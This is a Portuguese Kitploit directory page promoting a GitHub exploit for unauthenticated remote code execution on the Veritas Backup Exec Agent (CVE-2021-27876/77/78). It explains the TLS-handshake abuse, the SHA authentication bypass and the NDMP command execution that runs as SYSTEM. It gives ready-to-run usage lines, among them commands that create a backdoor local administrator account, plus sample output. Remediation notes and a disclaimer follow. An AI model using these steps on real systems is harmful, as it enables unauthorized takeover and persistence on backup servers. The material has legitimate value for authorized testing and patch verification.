Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-27876 — Exploit de RCE não autenticado para o Agente Veritas Backup Exec (CVE-2021-27876/77/78) — bypass de autenticação SHA para SYSTEM via NDMP | Kitploit
Ferramentas/GitHubGitHub/wingerbijay/cve-2021-27876
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoComando e ControleAutenticação
GitHubwingerbijay/cve-2021-27876

CVE-2021-27876

Exploit de RCE não autenticado para o Agente Veritas Backup Exec (CVE-2021-27876/77/78) — bypass de autenticação SHA para SYSTEM via NDMP

Ver Repositório
11há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-27876

Exploit de RCE não autenticado para o Agente Veritas Backup Exec (CVE-2021-27876/77/78) — bypass de autenticação SHA para SYSTEM via NDMP

CVEs

CVEDescriçãoCVSS 3.1
CVE-2021-27876Bypass de autenticação via manipulação de hash SHA no protocolo NDMP9.8 Crítico
CVE-2021-27877Leitura arbitrária de arquivos não autenticada via NDMP9.8 Crítico
CVE-2021-27878Execução arbitrária de comandos do sistema operacional via NDMP_EXECUTE_COMMAND9.8 Crítico

Aviso: Veritas VTS21-003

Versões Afetadas

  • Backup Exec 16.x
  • Backup Exec 20.x
  • Backup Exec 21.x ≤ 21.2 (revisão do agente ≤ 9.3)

Corrigido em: Backup Exec 21.3 e posterior.


Como Funciona

O Agente Veritas Backup Exec escuta na porta TCP/10000 e fala o NDMP (Network Data Management Protocol). O exploit encadeia três falhas:

  1. Abuso do handshake TLS — O agente solicita um CSR durante sua negociação TLS personalizada. O exploit gera uma CA local, assina o CSR do agente e completa o handshake, elevando o socket para TLS sem nenhum segredo pré-compartilhado.

  2. Bypass de autenticação SHA (CVE-2021-27876) — A autenticação SHA do NDMP calcula SHA256('\x00' * 64 + challenge). Como a senha é prefixada como um bloco de 64 bytes preenchido com zeros e não há validação no lado do servidor do material da senha, qualquer cliente pode autenticar como Administrator sem conhecer a senha.

  3. NDMP_EXECUTE_COMMAND (CVE-2021-27878) — Uma vez autenticado, o tipo de mensagem NDMP_EXECUTE_COMMAND executa comandos arbitrários do sistema operacional como NT AUTHORITY\SYSTEM. A saída é redirecionada para C:\Windows\Temp\_be_out.txt e lida de volta via NDMP_FILE_READ.


Requisitos

Python 3.8+

Em distribuições modernas, o Python é marcado como "gerenciado externamente" (PEP 668), portanto instale a dependência em um ambiente virtual:

root@kitploit:~
python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate
pip install cryptography

Uso

python3 be_rce.py

Exemplos:

root@kitploit:~
# Confirm SYSTEM access
python3 be_rce.py 10.10.10.50 "whoami"

# Dump hostname and domain
python3 be_rce.py 10.10.10.50 "whoami /all"

# Add a local admin
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"

Sample output:

[*] Connecting to 10.10.10.50:10000
[*] NDMP version: 9
[+] NDMP connection opened
[*] Generating CA certificate
[*] Got agent CSR (1024 bytes)
[*] Signed agent CSR and sent back
[*] SSL_HANDSHAKE CONNECT sent
[*] Upgrading to TLS
[+] TLS established
[*] Requesting SHA challenge
[*] Got 64-byte SHA challenge
[+] SHA authentication bypassed!
[*] Executing: whoami
[+] Command output:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────

Remediação

  • Atualize o Agente Veritas Backup Exec para 21.3 ou posterior em todos os hosts
  • Restrinja o TCP/10000 aos hosts autorizados de gerenciamento de backup via firewall do host e ACLs de rede
  • Audite todos os hosts que executam o agente Backup Exec em todo o seu ambiente

Referências

  • https://www.veritas.com/support/en_US/security/VTS21-003
  • https://nvd.nist.gov/vuln/detail/CVE-2021-27876
  • https://nvd.nist.gov/vuln/detail/CVE-2021-27877
  • https://nvd.nist.gov/vuln/detail/CVE-2021-27878
  • https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb

Aviso Legal

Esta ferramenta é fornecida apenas para testes de penetração autorizados e pesquisa de segurança. O uso contra sistemas sem permissão explícita por escrito é ilegal. O autor não se responsabiliza por uso indevido.

Baixar ferramenta